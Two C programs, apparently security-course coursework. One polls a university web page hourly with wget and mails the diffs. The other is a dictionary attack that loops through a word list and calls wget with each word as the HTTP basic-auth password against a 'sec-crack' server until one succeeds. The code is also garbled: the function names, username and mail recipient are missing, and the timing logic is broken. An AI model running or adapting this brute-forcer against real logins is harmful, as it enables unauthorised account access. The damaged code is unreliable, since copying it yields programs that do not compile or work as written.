
#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
int flag=1;
const char delimiter[]=" \n\t";
FILE *fp1;
char line1[100];
char filename1[50];
char *token;

while(1)
{
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html test1");
sleep(3600);
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html test2");
system("diff test1 test2 >test3");
system("file test3 >test4"); 
strcpy(filename1,"test4");
if((fp1=fopen(filename1,"r"))==NULL){
printf("cannot open file\n");
exit(1);
}
fgets(line1,sizeof(line1),fp1);
token=strtok(line1,delimiter);
        while(token!=NULL)
                {
if(strcmp(token,"empty")==0)
{
printf(" CHANGES\n");
flag=0;

}
token=strtok(NULL,delimiter);

                 }
if(flag==1)
{
system("mail  < test3");
}
fclose(fp1);
}
return(0);
}

#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>

int ()
{
  int time1, time2, time_var;
  int timeinsec, nofattempts;
  char url[100], url1[80];
  strcpy(url, "wget --http-user= --http-passwd=");
  strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt");
  char word[15], *chk;
  chk = "word";
  FILE *fp;
  int syst = 1;
  fp = fopen("words", "r");
  time1 = time();
  while(chk != NULL)
  {
    chk = fgets(word, 15, fp);
    if (chk == NULL) exit(1);
    word [ strlen(word) - 1 ] = '\0';
    strcat(url, word);
    strcat(url, url1);
    if (strlen(word) == 3)
    {
      syst = system(url);
      nofattempts = nofattempts + 1;
      printf("\n %s %d\n",word,nofattempts);
    }
    if (syst == 0)
    {
       time2 = time();
       time_var = time2 - time1;
       timeinsec = time_var/1000000000;
       printf("\n The Password is: %s",word);
       printf("\n  of Attempts: %d\n",nofattempts);
       printf("\n Time Taken: %d seconds\n", timeinsec);
       exit(1);
    }
    strcpy(url, "");
    strcpy(url, "wget --http-user= --http-passwd=");
  }
}
